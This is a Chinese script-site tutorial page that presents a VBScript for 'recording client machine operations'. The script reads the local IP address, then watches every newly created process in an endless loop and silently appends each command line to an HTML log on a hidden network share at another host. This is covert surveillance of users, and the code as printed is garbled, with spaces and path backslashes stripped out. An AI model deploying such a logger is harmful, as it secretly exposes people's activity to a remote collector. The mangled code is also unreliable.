手机
当前位置:查字典教程网 >脚本专栏 >vbs >用VBS记录客户机操作的代码
用VBS记录客户机操作的代码
摘要:记录客户机操作的VBS脚本onerrorresumenextstrComputer="."SetobjWMIService=GetObjec...

记录客户机操作的VBS脚本

onerrorresumenext

strComputer="."

SetobjWMIService=GetObject("winmgmts:"&strComputer&"rootcimv2")

SetIPConfigSet=objWMIService.ExecQuery_

("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")

ForEachIPConfiginIPConfigSet

IfNotIsNull(IPConfig.IPAddress)Then

Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)

a=IPConfig.IPAddress(i)

Next

EndIf

Next

strComputer="."

SetobjWMIService=GetObject("winmgmts:"_

&"{impersonationLevel=impersonate}!"&strComputer&"rootcimv2")

SetcolMonitoredProcesses=objWMIService._

ExecNotificationQuery("select*from__instancecreationevent"_

&"within1whereTargetInstanceisa'Win32_Process'")

i=0

DoWhilei=0

SetobjLatestProcess=colMonitoredProcesses.NextEvent

b=objLatestProcess.TargetInstance.CommandLine

setfso=createobject("scripting.filesystemobject")

setfile1=fso.opentextfile("192.168.0.87ourway$ourway.htm",8,true)

file1.writelinenow()&"---"&a&"---"&b&"<hr>"

file1.close

Loop

【用VBS记录客户机操作的代码】相关文章:

使用SAFEARRAY返回的代码

VBScript 监控并结束指定进程的代码

用vbs实现更改计算机的说明的代码

用VBS脚本实现更换Windows Xp序列号的代码

用VBS设置静态IP和DNS服务器地址的代码

用vbs脚本来关闭 HTML 页面的代码

用vbs实现cmd功能的代码

域内计算机和用户获取实现vbs代码

用VBS修改IIS Metabase的代码

用vbs实现显示系统调色板的代码

精品推荐
分类导航